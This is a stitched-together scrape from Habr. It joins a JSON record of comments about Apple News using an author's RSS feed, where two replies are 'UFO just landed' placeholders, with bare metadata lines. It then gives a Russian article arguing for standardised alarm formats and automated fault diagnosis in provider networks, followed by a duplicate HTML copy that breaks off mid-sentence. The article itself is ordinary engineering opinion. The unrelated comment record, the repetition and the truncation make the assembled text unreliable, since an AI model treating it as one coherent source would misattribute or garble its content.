{ "id": [ 8469251, 8469513, 8469515 ], "parent_id": [ null, null, 8469251 ], "level": [ 0, 0, 1 ], "time_published": [ 1434739641, 1434757876, 1434758559 ], "score": [ 0, 0, 0 ], "votes": [ 0, 0, 0 ], "message_html": [ "<div xmlns=\"http://www.w3.org/1999/xhtml\"><blockquote>I do not agree to your terms<br/>\r\nНемного праведного гнева от Майка Эша на тему политики привлечения Apple авторов в новое приложение News.<br/>\r\nMIKEASH.COM</blockquote>Праведнего? Бред какой-то… <br/>\r\n<br/>\r\nМайк Эш создал публичный RSS-feed (сделал свой дневничок машиночитаемым), чтобы любой мог не спрашивая согласия Майка Эша читать его дневничок через любые программы-RSS-читалки (в том числе и те, которые показывают свою рекламу рядом с записями из его дневника).<br/>\r\n <br/>\r\nЭпл сделали очередной RSS-reader, включили в него публичный RSS-feed Майка Эша, и уведомили его об этом предоставив возможность убрать свой дневничок из эпловского каталога дневничков предоставивших публичный RSS-feed, чтобы любой… <br/>\r\n<br/>\r\nИ Майк Эш этим недоволен.<br/>\r\n<br/>\r\nНапоминает ситуацию с Google News и некоторыми новостными сайтами, которые были недовольны включением в Google News, но и исключения тоже не хотели.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">UFO just landed and posted this here</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">UFO just landed and posted this here</div>" ], "message_markdown": [ "> I do not agree to your terms\n> Немного праведного гнева от Майка Эша на тему политики привлечения Apple авторов в новое приложение News.\n> MIKEASH.COM\nПраведнего? Бред какой-то...\nМайк Эш создал публичный RSS-feed (сделал свой дневничок машиночитаемым), чтобы любой мог не спрашивая согласия Майка Эша читать его дневничок через любые программы-RSS-читалки (в том числе и те, которые показывают свою рекламу рядом с записями из его дневника).\nЭпл сделали очередной RSS-reader, включили в него публичный RSS-feed Майка Эша, и уведомили его об этом предоставив возможность убрать свой дневничок из эпловского каталога дневничков предоставивших публичный RSS-feed, чтобы любой...\nИ Майк Эш этим недоволен.\nНапоминает ситуацию с Google News и некоторыми новостными сайтами, которые были недовольны включением в Google News, но и исключения тоже не хотели.", "UFO just landed and posted this here", "UFO just landed and posted this here" ], "author": [ "Good Kat (Goodkat)", "{}", "{}" ], "children": [ [ 8469515 ], [], [] ] }
199,394
ru
https://habr.com/ru/post/199394/
Бесчеловечные сети
Когда-то управление автомобилем было почти искусством. Во времена славной классики (шестёрок и пятёрок) нужно было знать, как прочистить карбюратор, заменить топливный насос и что такое «подсос». Когда-то компьютеры были большими и слово «debug» использовалось в самом прямом его смысле. Когда первые ПК начали входить в наши дома, было важно понимать, что такое северный и южный мост, как установить драйвер для видеоплаты, и какое значение поменять в системном реестре, чтобы таки запустить привередливую игру. Сегодня хоть для личного использования, хоть для бизнеса, вы приходите в магазин, покупаете машину, нажимаете кнопку «ВКЛ» и начинаете пользоваться. Да есть, нюансы — не пройдёт такой трюк с System p5 595 или Bagger 293 — нужны технические специалисты. Однако в базисе, даже для компании из нескольких филиалов — вы купили газельку, несколько ПК, обеспечили их выходом в Интернет — и можно работать. Некоторое время назад у меня состоялся спор с человеком от сетей далёким. У него был резонный вопрос: почему нельзя автоматизировать создание и настройку корпоративных сетей небольшого размера. То есть почему он не может купить по одной железке в каждый свой филиал, нажать 5 кнопок на каждой и получить работающую стабильную сеть? Вопрос был даже более глубокий и затрагивающий личные струны: зачем такой штат техподдержки (у компаний, провайдеров, вендоров). Разве нельзя в автоматическом режиме находить и исправлять бОльшую их часть? Да, мне известны многие аргументы, которые тотчас всплывают в вашей голове. Такая постановка вопроса и мне сначала показалась утопической. И это логично, что сейчас это кажется невозможным в сфере связи — максимум в рамках одного домашнего маршрутизатора, но и там не всё гладко. Однако вопрос не лишён рационального начала, и он завладел моим разумом на долгое время. Правда, я абстрагировался от корпоративных SOHO и SMB сетей и посвятил свои мысли сетям провайдерским. С точки зрения нетехнического специалиста может казаться, что автоматическая настройка важнее и проще в реализации, чем поиск неисправностей. Но любому инженеру должно быть очевидно, что именно траблшутинг выкладывает дорожку из жёлтого кирпича — если мы не знаем, в чём может быть проблема, как мы можем пытаться что-то настроить? В этой отправной статье под катом я хочу поделиться своими размышлениями на тему различных препятствий на пути к поставленной цели и способах их преодоления На мой взгляд, первичная задача — это всё-таки научить оборудование автоматически находить проблемы и их причины. Именно об этом я и хотел бы поговорить в первую очередь сегодня. Далее — научиться их исправлять. То есть зная, в чём причина проблемы, вполне можно решить её без участия человеков в большинстве случаев. Как вырожденный случай исправления проблемы — настройка по шаблону. У нас есть LLD (Low Level Design — подробный дизайн сети) и на его основе Система Контроля настроит всё оборудование — от коммутаторов доступа до High-End маршрутизаторов в ядре сети: IP-адреса, VLAN, протоколы маршрутизации, политики QoS. В принципе, в том или ином виде это есть уже сейчас — автонастройка по шаблону — не какая-то невидаль. Просто обычно речь всё-таки не о всей сети, а о каких-то гомогенных сегментах, например, коммутаторы доступа. Тут идёт жёсткая привязка к командному интерфейсу и, соответственно, производителю. Сейчас это всё реализовано втупую — никакой проверки консистентности скрипт не делает — если в дизайне есть ошибка, она будет и на оборудовании. Есть, конечно, валидаторы конфигурации, но это ещё один «ручной» шаг. Задача максимум амбициозна — автоматическая генерация топологии, IP-плана, таблиц коммутации и, собственно, настройка всего и вся. Максимум участия человека — утвердить дизайн, расставить оборудование и пробросить кабель. # Автоматический поиск неисправностей Существует много систем, повышающих отказоустойчивость и понижающих потери/время простоя сервисов при проблеме на сети — IGP, VRRP, Graceful Restart capability, BFD, MPLS TE FRR и многое другое. Но всё это разрозненные куски. Их пытаются слепить в одно целое с переменным успехом, но от этого они не перестают быть разнородными сущностями. Это напоминает вопрос окончательной теории в науке, согласно которой имеющиеся 4 типа взаимодействия имеют одинаковую природу. Это универсальная, единая теория, объясняющая всё просто и понятно. Но пока картина не складывается. Вот красивая иллюстрация настроенной взаимосвязи между протоколами: На такой сети запущен IS-IS, как протокол IGP. Поверх него работает MPLS TE с активированной функцией FRR. R1 по BFD отслеживает статус R2 и статус TE-туннеля/LSP. Когда на R2 из-за ошибки ПО, перезагружается линейная плата, BFD на R1 мгновенно сообщает об этом всем процессам, которые должны быть в курсе. MPLS TE обращается к FRR и трафик перенаправляется на R3 по временному пути. При этом на R1 благодаря функционалу GR сохраняются все маршруты R2, все соответствующие записи FIB и даже отношение соседства. В этот время R2 приходит в норму, плата подгружается, поднимаются интерфейсы. А на R1 уже всё готово и в кратчайшие сроки он готов передавать трафик снова на R2. В итоге сервисы возвращаются в своё прежнее русло — все довольны, все счастливы, никто из клиентов не почувствовал на себе кривую руку программиста. Но представляете ли вы, какой объём конфигурации требуется для организации такого взаимодействия? А как часто конфигурация бывает некорректна, и резервирование отрабатывает совсем не так, как мы этого хотели? А что зачастую у инженеров может не хватить компетенции на настройку таких вещей, и многие корпоративные сети стоят с минимальной настройкой сервисов? Всё пока работает и слава богу! А что огромное количество проблем можно обнаружить на ранних этапах и предотвратить тот момент, когда это выльется в 3 часа простоя и потерю репутации? Поэтому проведём некоторую классификацию проблем, чтобы понять, какие к ним нужны подходы. 1. Критические ситуации реального времени 2. Проблемы, которые имеются в данный момент, но не затрагивают сервисы 3. Аппаратные проблемы 4. Потенциальные проблемы ПО 5. Некорректная конфигурация ## 1\. Критические ситуации реального времени Первый — проблемы, возникшие сейчас всилу обстоятельств — обрыв кабеля, сбой работы ПО или оборудования. Это по сути единственный на данный момент тип, с которым разработчики как-то борятся. Это то, что мы рассмотрели выше. У нас уже не один десяток протоколов, которые отслеживают состояние каналов и сервисов и могут на основе реальной ситуации перестраивать топологию. Но проблема в то, что, как я уже заметил, это всё элементы разных головоломок. Каждый протокол, каждый механизм настраивается индивидуально. И нужны недюжинные способности, чтобы охватить всё это целиком и иметь принципиальное понимание работы крупных сетей. Ну хорошо, так или иначе, но мы с ними можем справляться — есть для этого средства. Какая здесь есть проблема, помимо собственно сложности? Объясню: после того, как всё случилось, мы либо ничего не заметили (50 мс на глазок не всегда), либо перебираем тонны логов и аварий, пытаясь установить причинно-следственную связь череды событий. А это, знаете ли, дело непростое, потому что поверхностных логов может не хватить, а подробные будут содержать огромное количество малоинформативных данных, например, падение LSP — по записи на каждую, процесс перезагрузки платы итд. Делать это нужно не на одной железке, а на всех по ходу движения трафика и часто даже тех, которые стоят в стороне. Нужно отделить зёрна от плевел — логи, связанные с аварией от тех, которые относятся к другим проблемам. И хорошо, если сеть моновендорная, а если у вас в качестве CE стоит DLink, PE — Huawei, P — cisco, a ASBR — Juniper... Ну что же, тут остаётся посочувствовать. К чему я, собственно, веду. Логи — это хорошо, это прекрасно, они нужны. Но они не в удобочитаемом виде. Даже, если у вас правильная сеть, с настроенным NTP и SYSLOG-сервером, который позволяет просмотреть в действительно хронологическом порядке все аварии на всех устройствах, на поиск проблемы уйдёт масса времени. При этом каждое устройство знает, что на нём произошло. Возвращаясь к последнему примеру, PE видит падение туннелей, VPN, перестроение IGP. Он может сообщить Системе Контроля в человеческом виде, что, мол, «В 16:20:12 01.01.2013 у меня упали все туннели и VPN'ы в таком-то направлении, через такой-то интерфейс. Кроме того, перестроилась схема маршрутизации. Что там произошло не уверен, но вот OSPF мне сообщил о пропадании линка между устройствами А и Б. Также о проблеме отчитался RSVP». Промежуточный P, на котором выгорел SFP-модуль так и говорит: «В 16:20:12 01.01.2013 у меня был повреждён SFP-модуль в порту 1/1/1. Я всё проверил — аппаратная неисправность, нужна замена. По OSPF и RSVP разослал уведомление всем соседям». Шутки шутками, конечно, но почему бы не разработать стандарт или какой-то протокол, который позволит на самом устройстве провести минимальный анализ и отправить однозначную информацию на Систему Контроля. Получив данные со всех устройств, скомпоновав их и проанализировав, Система Контроля может выдать вполне конкретное сообщение: «В 16:20:12 на устройстве Б вышел из строя SFP-модуль в порту 1/1/1 (тут ссылочка на тип модуля, серийный номер, аптайм, средний уровень сигнала, количество ошибок на интерфейсе, причина выхода из строя). Это повлекло за собой падение следующих туннелей (список, со ссылками на параметры туннелей), VPN (список, со ссылками на параметры VPN). В 16:20:12 трафик был направлен через временный путь А-С-Е (ссылка на параметры пути: интерфейсы, метки MPLS, VPN итд.). В 16:20:14 был построен новый LSP А-Б» ## 2\. Проблемы, которые имеются в данный момент, но не затрагивают сервисы Что это за проблемы? Ошибки на интерфейсах, которые пока под слабой нагрузкой, и они не дают о себе знать. Флаппинг интерфейсов или маршрутов на резервных линках, слишком лёгкие пароли, отсутствие ACL на VTY или на внешнем интерфейсе, большое количество широковещательных сообщений, поведение, похожее на атаки (обилие ARP, DHCP запросов), высокая утилизация ЦПУ каким-либо процессом, отсутствие чернодырых маршрутов (blackhole) при настроенной агрегации маршрутов. Так или иначе сейчас многие такие ситуации отслеживаются и информационные сообщения пишутся в логи. ~~Кто бы их отслеживал?~~ Однако на такие вещи не обращают внимание, пока не вызовут на ковёр в связи с отсутствием связи у тысячи абонентов. И в автоматическом режиме оборудование не пытается найти причину или исправить ситуацию — в лучшем случае настроена отправка на SYSLOG-сервер. Бывает, конечно, срабатывание чего-либо при определённых действиях — подавление широковещательных пакетов, если их число превышает определённый порог, например. Или отключение порта, на котором наблюдается флаппинг. Но это всё лечение симптомов — оборудование не пытается разобраться, в чём причина такого поведения. Какие есть мысли по поводу данной ситуации? Разумеется, во-первых, это стандартизация логов и трапов. Стандартизация глобальная, на уровне комитетов. Все производители должны чётко придерживаться их, как, например, стандарта IP. Да, это гигантский объём работы. Нужно предусмотреть все возможные ситуации и сообщения для всех протоколов. Но так или иначе её проделывает каждый вендор в отдельности, изобретая свои способы сообщить о проблеме. Так, может, лучше один раз собраться и договориться раз и навсегда? В конце концов Martini L2VPN тоже когда-то был личной разработкой Cisco. Отсылать на систему контроля можно в таком виде, например: «Message_Number.Parent_Message_Number.Device_ID. Date. Time/Time range.Alarm_ID.Optional parameters» Message_Number — порядковый номер аварии в сети. Parent_Message_Number — номер родительской аварии, которая повлекла за собой данную. Device_ID — уникальный идентификатор устройства в сети. Date — Дата аварии. Time/Time range — Время возникновения аварии или период её длительности. Alarm_ID — уникальный идентификатор аварии в стандарте. Optional parameters — Дополнительные параметры, характерные для данной аварии. Во-вторых, оборудование должно уметь само проводить минимальный анализ ситуации и логов. Оно должно знать где причина, где следствие и помимо детализированных логов отсылать также результаты анализа. Например, если падение BFD, IGP и других протоколов было вызвано физическим отключением интерфейса, то он должен представить это в виде ветки зависимостей: падение порте повлекло за собой то-то и сё-то. В-третьих, Интеллектуальная Система Контроля Работы Сети должна отразить аварии в человеческом виде. Пусть после анализа на сервер мониторинга было отправлено стандартизированное сообщение, например: > «2374698214.0.8422. 29.10.2013 09:00:00-10:00:01.65843927456.GE0/0/0» > «2374698219.2374698214.8422. 29.10.2013 10:00:00-10:00:05. 50. 90. R2D2. 70» > «2374698220.2374698214.8422. 29.10.2013 10:00:01. 182. GE0/0/0. Abnormal Power flow. Power treshold is reached. Abnormal power timer is expired» > Система Контроля разбирает данные сообщения на составляющие: Авария No2374698214. Не является следствием чего-либо. Произошла на устройстве с ID 8422 29.10.2013. Длилась с 09:00:00 до 10:00:05. Универсальный идентификатор аварии 65843927456. Дополнительные параметры: GE0/0/0. Авария No2374698219. Вызвана аварией «2374698214. Произошла на устройстве с ID 8422 29.10.2013. Длилась с 10:00:00 до 10:00:05. Универсальный идентификатор аварии 50. Дополнительные параметры: 90. 70. R2D2. Авария No2374698220. Вызвана аварией „2374698214. Произошла на устройстве с ID 8422 29.10.2013 в 10:00:05. Универсальный идентификатор аварии 182. Дополнительные параметры: GE0/0/0. Abnormal Power flow. Power treshold is reached. Abnormal power timer is expired. Далее он обращается в базу данных сетевых устройств и извлекает описание устройства с номером 8422. В онлайн или в локальной копии глобальной БД аварий находит описание и значение аварии 65843927456 — аномально высокий поток силы. В качестве параметра — интерфейс-источник GE0/0/0. 50 — Высокая загрузка ЦПУ. Параметры: общая загрузка (90), самый нагружающий процесс (R2D2) и утилизация ЦПУ данным процессом (70). 182 — выключение интерфейса. В параметрах номер интерфейса и причина, по которой интерфейс бы выключен. Далее Система Контроля формирует понятное и исчерпывающее сообщение: “К коммутатору C3PO было подключено внешнее устройство к интерфейсу 10GE 0/0/0, генерировавшее аномально высокий поток силы в период с 09:00:00 до 10:00:05. По этой причине процесс R2D2 утилизировал ЦПУ на 70% в период времени с 10:00 до 10:00:05. Порт был выключен в 10:00:05. Abnormal Power flow. Power treshold is reached. Abnormal power timer is expired». ## 3\. Аппаратные проблемы Не стоит, думаю, лишний раз говорить о том, что ничто не вечно, никто не идеален — интерфейсные карты выходят из строя, карты памяти обретают битые сектора, платы спонтанно перезагружаются, программисты внезапно исчезают. Мне видится, что если проблема аппаратная и так или иначе решилась, оборудование однозначно может самостоятельно установить причину — потеря синхронизации, неисправность шины управления или мониторинга, выход из строя блока питания платы. Одни проблемы имеют накопительный характер, другие внезапный, но, мне кажется, все их можно отследить. Даже, например, полное отключение линейной платы — управляющая плата даже в отсутствие основного питания должна суметь опросить плату и выявить проблему. Если не получается опросить, значит либо сам опрашиватель неисправен — легко проверить, либо плату на замену. Опять же Система Контроля должна получить сообщение об этом: «Линейная плата в слоту 4 потеряла синхронизацию с коммутационными фабриками из-за повреждения сетевого чипа L43F. Плату необходимо заменить». И тут же по ссылке сгенерированный шаблон на замену оборудования. ## 4\. Потенциальные проблемы ПО Тут всё просто. Либо у вендора есть хорошая база ПО, патчей и их описания со списком доступного функционала и решённых проблем, либо нет. Естественно, если нет, нам надо, чтобы да. Система Контроля просто следит за всеми обновлениями и при необходимости загружает их и устанавливает. ## 5\. Некорректная конфигурация Пожалуй, это самый сложный аспект. Тут огромное многообразие вариаций. Даже обычный IP вызовет бурю эмоций при попытке реализовать его автоматическую отладку. Формализовать правила конфигурации, означает создать универсальный язык взаимодействия между Системой Контроля и оборудованием. Ну, нельзя же пытаться разгрести на одном сервере разрозненные данные от Juniper, Cisco, ZTE и Dlink. Нельзя создавать парсер, который будет подстраиваться под данные с разных устройств. То есть будет необходима стандартизация как минимум хранения конфигурации и передачи её на Систему Контроля. Как это видится мне: должен быть блок описания возможностей системы: что за тип (коммутатор, маршрутизатор, файрвол итд.), функционал (OSPF, MPLS, BGP). Дальше должны быть секции собственно конфигурации. Такая структура должна поддерживаться любым оборудованием от коммутатора доступа до VoIP шлюза в IMS-ядре. Тогда с лёгкостью можно находить разнообразные неточности: неконсистентные настройки параметров на оппозитных устройствах (например, дискриминаторы BFD, уровни сетей IS-IS, соседи BGP, IP-адреса), совпадающие Router-ID, неактивированный PIM между двумя мультикастовыми маршрутизаторами итд. Но, положа руку на сердце, — уже это вещи нетривиальные и реализуемые только должной стандартизации топологий или формализованного LLD (Low Level Design). Примеры из реальной жизни для всего описанного выше я уже приводил в этой статье. # Техподдержка На мой взгляд в этой сфере (как и во многих других), сейчас огромное количество лишней работы и перерасход человеческих ресурсов. Будем говорить о сетях операторского уровня, с SOHO и SMB совсем другие тонкости. Возьмём для примера процедуру замены неисправной платы. Сейчас она следующая (с некоторыми вариации для разных вендоров): 1) Плата вышла из строя, перезагрузилась или начала валить странными сообщениями. Заказчик видит в логах ошибки, аварии, но не может однозначно идентифицировать проблему. 2) Заказчик звонит на горячую линию поддержки вендора, описывает проблему на словах, либо заполняет стандартную форму. Предоставляет данные, логи, файлы, собранные рабским трудом или вовсе самостоятельно. 3) Оператор горячей линии открывает запрос назначает его на группу технических специалистов. 4) Ответственный группы назначает запрос инженеру. 5) Инженер анализирует данные и в итоге видит те же аварии. Подключается к оборудованию, проводит ряд тестов, собирает информацию. 6) Зачастую у инженера нет возможности установить истинную причину, и он не может по своей воле рекомендовать замену — эскалация запроса на следующий уровень. 7) В зависимости от компетенции инженеров более высокого уровня, запрос может путешествовать там какое-то время. До тех пор пока путём ввода определённых команд или анализа логов и диагностической информации согласно определённому алгоритму не будет установлена аппаратная неисправность. 8) По цепочке рекомендация доходит до ответственного инженера и далее до заказчика. 9) Затем следует процедура подтверждения закрытия запроса и различная бюрократия. 10) Заказчик открывает новый запрос на замену — снова заполняет форму, снова указывает проблему. Кол-центр переводит заявку на соответствующий отдел, назначаются ответственные и только потом фактически начинается процедура замены. Это довольно пессимимстичный сценарий, но так или иначе вся эта процедура занимает продолжительно время и на неё необходимы усилия как минимум 4-5 людей — инженер заказчика, оператор кол-центра, Тимлид группы, инженер поддержки, инженеры более высоких уровней, сотрудники отдела запасных частей. А ведь по сути — есть алгоритмы проверки физических параметров плат. Да их много, но не будем лукавить, их можно ввести в ПО или даже в аппаратную часть плат/шасси. Оборудование само должно провести этот анализ, и в случае аппаратной проблемы Система Контроля должна выдать однозначную рекомендацию на замену (а, возможно, самостоятельно оформить заявку на замену — по шаблону же). Если ни одна известная аппаратная проблема не подтвердилась, Система Контроля должна предложить открыть запрос в ТП. А лучше опять же самостоятельно заполнить шаблон и зарегистрировать тикет — задача человека — подтвердить заявку. Аналогично по очень многим другим вопросам. Я не могу судить о разных вендорах, но часто бывают вопросы о том, какие версии ПО в данный момент актуальны, какие патчи должны быть установлены, какой функционал доступен в них. Я считаю, что всем этим должна заниматься Система Контроля — подкачивать ПО, патчи, отслеживать текущие известные проблемы по оборудованию, устанавливать патчи, обновлять прошивки. Более подробно опишу в одной из следующих статей то, как я вижу работу такой системы. Вопросы по конфигурации, неработоспособность каких-то сервисов? Часть таких вещей довольно очевидна и заключается либо в неправильном применении инструкций по настройке, либо несоответствии конфигураций на различных устройствах. Но такие ситуации инженер ТП легко отслеживает, вводя определённые команды. Разве не может то же самое сделать и Система Контроля? Проанализировать конфигурацию и понять проблему и даже исправить её? # Cоциально-психологические аспекты Да, у многих инженеров и у меня в том числе есть весомый вопрос — а что тогда делать всем нам, если нас можно заменить автоматикой? Спешу вас успокоить — мы все устареем, как трубочисты и барышни на коммутаторах. На самом деле это вечный вопрос и повод для стычек. Куда делись кучеры с появлением автомобилей, куда делся огромный штат, обслуживающий первые ЭВМ с появлением компактных ПК? Современный мир предлагает нам всё больше разнообразных рабочих мест. В конце концов можно устроиться топливным элементом для матрицы. Но никуда не денется обслуживающий персонал и техническая поддержка — есть масса проблем, которые нельзя решить автоматически в силу тех или иных причин (например, административных). Эти и другие вопросы я рассмотрел в другой статье. Сети надо проектировать, кабель надо прокладывать, за Системой Контроля следить, проблемы решать. Просто нашу жизнь нужно сделать несколько более разумной. Гораздо более важная проблема — поддержка вендоров. Я полностью согласен с комментариями к статье на наг.ру, такая система, вместо со стандартами и суперпротоколами никому не нужна сейчас. У вендоров есть свои NMS, которые они продают за большие деньги (огромные, надо сказать). Да и если будут такие стандарты, оборудование одного вендора можно просто менять на другого и никто этого не заметит. А оно им надо? У крупных операторов (да и не очень крупных) часто есть самописные системы. Это и валидаторы конфигураций, и скрипты по автонастройке, и поверхностные анализаторы проблем. Инженеры часто инертны и ленивы, либо наоборот гиперактивны и вручную ваяют тысячи строк, которые сгинут при форматировании винчестера следующим поколением админов. Как бы то ни было, всё это не то. Совершенно не то. После разговоров с коллегами я понял, что складывается неправильное понимание идеи — мол, я хочу предложить создание какой-то программной Системы Контроля, которая скриптами будет парсить логи, конфигурации и выдавать решение. При этом в ней будет 33 тысячи шаблонов для разных вендоров и разных версий ПО. И это чьё-то проприетарное решение, созданное волей одного предприимчивого человека. НЕТ. Речь о вещах более масштабных — глобальная стандартизация системы сообщений между устройствами. Не Система Контроля должна заботиться о том, чтобы суметь распознать логи с Huawei, Cisco, Extreme, F5 и Juniper. Это само оборудование должно отсылать логи в строго определённом формате. Не кучка инертных скриптов по разным протоколам (FTP, TFTP, Telnet, SSH) должна собирать информацию о конфигурации, авариях, параметрах — это должна быть единая гибкая вендоронезависимая система. Другая крайность — парадигма SDN. Это тоже другое. SDN — концентрирует в себе не только функции мониторинга — он забирает на себя практически все задачи оборудования, кроме собственно передачи данных — он принимает все решения о том, как передавать эти данные. Нет канала до мозга SDN — нет сети. То, о чём веду речь я — всё та же гибкая сеть с самостоятельными устройствами, каждое из которых самодостаточно. А Система Контроля позволяет держать руку на пульсе — знать всё, что происходит в сети, заботиться обо всех проблемах при минимальном участии людей и предоставлять важную информацию в доступном виде. P.S. Я не претендую на полноту рассмотрения вопроса — моего уровня знаний явно не хватает, чтобы целиком его объять. Это лишь размышления. Но я уверен, что это вектор развития сетевых технологий в плане обслуживания и поддержки. Через 50-80 лет всё изменится — сети будут охватывать не только компьютеры, планшетники и телефоны, в сети будет всё. Сплошная конвергенция — WiFi, фиксированные сети, 5G, 6G, телефония, видео, Интернет, M2M. Всё явно идёт не по пути упрощения и на традиционное обслуживание будет уходить всё больше и больше сил и средств. Самое главное, что такие стандарты должны подойти вовремя. Сейчас не их время, но уже пора говорить об этом. По ходу написания этой статьи, которая изначально планировалась вовсе как заметка, я пришёл к выводу, что тема для меня слишком интересная и будет ещё серия статей, посвящённых этой проблеме: Система Контроля. Возможности, принципы работы. Протоколы взаимодействия и взаимообмена служебной информацией между устройствами и Интеллектуальной Системой Контроля Работы. Обнаружение и устранение ошибок в конфигурации. Автоматизация настройки оборудования.
<div xmlns="http://www.w3.org/1999/xhtml">Когда-то управление автомобилем было почти искусством. Во времена славной классики (шестёрок и пятёрок) нужно было знать, как прочистить карбюратор, заменить топливный насос и что такое «подсос». <br/> Когда-то компьютеры были большими и слово «debug» использовалось в самом прямом его смысле. Когда первые ПК начали входить в наши дома, было важно понимать, что такое северный и южный мост, как установить драйвер для видеоплаты, и какое значение поменять в системном реестре, чтобы таки запустить привередливую игру.<br/> <br/> Сегодня хоть для личного использования, хоть для бизнеса, вы приходите в магазин, покупаете машину, нажимаете кнопку «ВКЛ» и начинаете пользоваться. <br/> Да есть, нюансы — не пройдёт такой трюк с System p5 595 или Bagger 293 — нужны технические специалисты. Однако в базисе, даже для компании из нескольких филиалов — вы купили газельку, несколько ПК, обеспечили их выходом в Интернет — и можно работать. <br/> <br/> Некоторое время назад у меня состоялся спор с человеком от сетей далёким. У него был резонный вопрос: почему нельзя автоматизировать создание и настройку корпоративных сетей небольшого размера. То есть почему он не может купить по одной железке в каждый свой филиал, нажать 5 кнопок на каждой и получить работающую стабильную сеть?<br/> Вопрос был даже более глубокий и затрагивающий личные струны: зачем такой штат техподдержки (у компаний, провайдеров, вендоров). Разве нельзя в автоматическом режиме находить и исправлять бОльшую их часть?<br/> <br/> Да, мне известны многие аргументы, которые тотчас всплывают в вашей голове. Такая постановка вопроса и мне сначала показалась утопической. И это логично, что сейчас это кажется невозможным в сфере связи — максимум в рамках одного домашнего маршрутизатора, но и там не всё гладко. <br/> Однако вопрос не лишён рационального начала, и он завладел моим разумом на долгое время. Правда, я абстрагировался от корпоративных SOHO и SMB сетей и посвятил свои мысли сетям провайдерским.<br/> С точки зрения нетехнического специалиста может казаться, что автоматическая настройка важнее и проще в реализации, чем поиск неисправностей. Но любому инженеру должно быть очевидно, что именно траблшутинг выкладывает дорожку из жёлтого кирпича — если мы не знаем, в чём может быть проблема, как мы можем пытаться что-то настроить?<br/> <br/> <img src="https://habrastorage.org/r/w1560/getpro/habr/post_images/55c/1a9/de8/55c1a9de814cd2cf3a985727dc14a733.png" data-src="https://habrastorage.org/getpro/habr/post_images/55c/1a9/de8/55c1a9de814cd2cf3a985727dc14a733.png"/><br/> <br/> В этой отправной статье под катом я хочу поделиться своими размышлениями на тему различных препятствий на пути к поставленной цели и способах их преодоления<br/> <br/> <a name="habracut"></a><br/> <br/> На мой взгляд, первичная задача — это всё-таки научить оборудование автоматически находить проблемы и их причины. Именно об этом я и хотел бы поговорить в первую очередь сегодня.<br/> Далее — научиться их исправлять. То есть зная, в чём причина проблемы, вполне можно решить её без участия человеков в большинстве случаев. <br/> Как вырожденный случай исправления проблемы — настройка по шаблону. У нас есть LLD (Low Level Design — подробный дизайн сети) и на его основе Система Контроля настроит всё оборудование — от коммутаторов доступа до High-End маршрутизаторов в ядре сети: IP-адреса, VLAN, протоколы маршрутизации, политики QoS. <br/> <br/> В принципе, в том или ином виде это есть уже сейчас — автонастройка по шаблону — не какая-то невидаль. Просто обычно речь всё-таки не о всей сети, а о каких-то гомогенных сегментах, например, коммутаторы доступа. Тут идёт жёсткая привязка к командному интерфейсу и, соответственно, производителю. <br/> Сейчас это всё реализовано втупую — никакой проверки консистентности скрипт не делает — если в дизайне есть ошибка, она будет и на оборудовании. Есть, конечно, валидаторы конфигурации, но это ещё один «ручной» шаг.<br/> <br/> Задача максимум амбициозна — автоматическая генерация топологии, IP-плана, таблиц коммутации и, собственно, настройка всего и вся. Максимум участия человека — утвердить дизайн, расставить оборудование и пробросить кабель. <br/> <br/> <h1>Автоматический поиск неисправностей</h1><br/> Существует много систем, повышающих отказоустойчивость и понижающих потери/время простоя сервисов при проблеме на сети — IGP, VRRP, Graceful Restart capability, BFD, MPLS TE FRR и многое другое. Но всё это разрозненные куски. Их пытаются слепить в одно целое с переменным успехом, но от этого они не перестают быть разнородными сущностями.<br/> Это напоминает вопрос <a href="http://elementy.ru/trefil/21216">окончательной теории</a> в науке, согласно которой имеющиеся 4 типа взаимодействия имеют одинаковую природу. Это универсальная, единая теория, объясняющая всё просто и понятно. Но пока картина не складывается. <br/> <br/> Вот красивая иллюстрация настроенной взаимосвязи между протоколами:<br/> <br/> <img src="https://habrastorage.org/r/w1560/getpro/habr/post_images/e13/247/419/e13247419276850130dc86a784d33b42.png" data-src="https://habrastorage.org/getpro/habr/post_images/e13/247/419/e13247419276850130dc86a784d33b42.png"/><br/> <br/> На такой сети запущен IS-IS, как протокол IGP. Поверх него работает MPLS TE с активированной функцией FRR. <br/> R1 по BFD отслеживает статус R2 и статус TE-туннеля/LSP. Когда на R2 из-за ошибки ПО, перезагружается линейная плата, BFD на R1 мгновенно сообщает об этом всем процессам, которые должны быть в курсе. MPLS TE обращается к FRR и трафик перенаправляется на R3 по временному пути.<br/> При этом на R1 благодаря функционалу GR сохраняются все маршруты R2, все соответствующие записи FIB и даже отношение соседства. В этот время R2 приходит в норму, плата подгружается, поднимаются интерфейсы. А на R1 уже всё готово и в кратчайшие сроки он готов передавать трафик снова на R2. В итоге сервисы возвращаются в своё прежнее русло — все довольны, все счастливы, никто из клиентов не почувствовал на себе кривую руку программиста.<br/> <br/> Но представляете ли вы, какой объём конфигурации требуется для организации такого взаимодействия? А как часто конфигурация бывает некорректна, и резервирование отрабатывает совсем не так, как мы этого хотели? А что зачастую у инженеров может не хватить компетенции на настройку таких вещей, и многие корпоративные сети стоят с минимальной настройкой сервисов? Всё пока работает и слава богу! А что огромное количество проблем можно обнаружить на ранних этапах и предотвратить тот момент, когда это выльется в 3 часа простоя и потерю репутации? <br/> <br/> Поэтому проведём некоторую классификацию проблем, чтобы понять, какие к ним нужны подходы.<br/> <br/> <ol> <li>Критические ситуации реального времени</li> <li>Проблемы, которые имеются в данный момент, но не затрагивают сервисы</li> <li>Аппаратные проблемы</li> <li>Потенциальные проблемы ПО</li> <li>Некорректная конфигурация</li> </ol><br/> <br/> <h2>1. Критические ситуации реального времени</h2><br/> Первый — проблемы, возникшие сейчас всилу обстоятельств — обрыв кабеля, сбой работы ПО или оборудования. Это по сути единственный на данный момент тип, с которым разработчики как-то борятся. Это то, что мы рассмотрели выше. У нас уже не один десяток протоколов, которые отслеживают состояние каналов и сервисов и могут на основе реальной ситуации перестраивать топологию. Но проблема в то, что, как я уже заметил, это всё элементы разных головоломок. Каждый протокол, каждый механизм настраивается индивидуально. И нужны недюжинные способности, чтобы охватить всё это целиком и иметь принципиальное понимание работы крупных сетей. <br/> <br/> Ну хорошо, так или иначе, но мы с ними можем справляться — есть для этого средства. Какая здесь есть проблема, помимо собственно сложности? Объясню: после того, как всё случилось, мы либо ничего не заметили (50 мс на глазок не всегда), либо перебираем тонны логов и аварий, пытаясь установить причинно-следственную связь череды событий. А это, знаете ли, дело непростое, потому что поверхностных логов может не хватить, а подробные будут содержать огромное количество 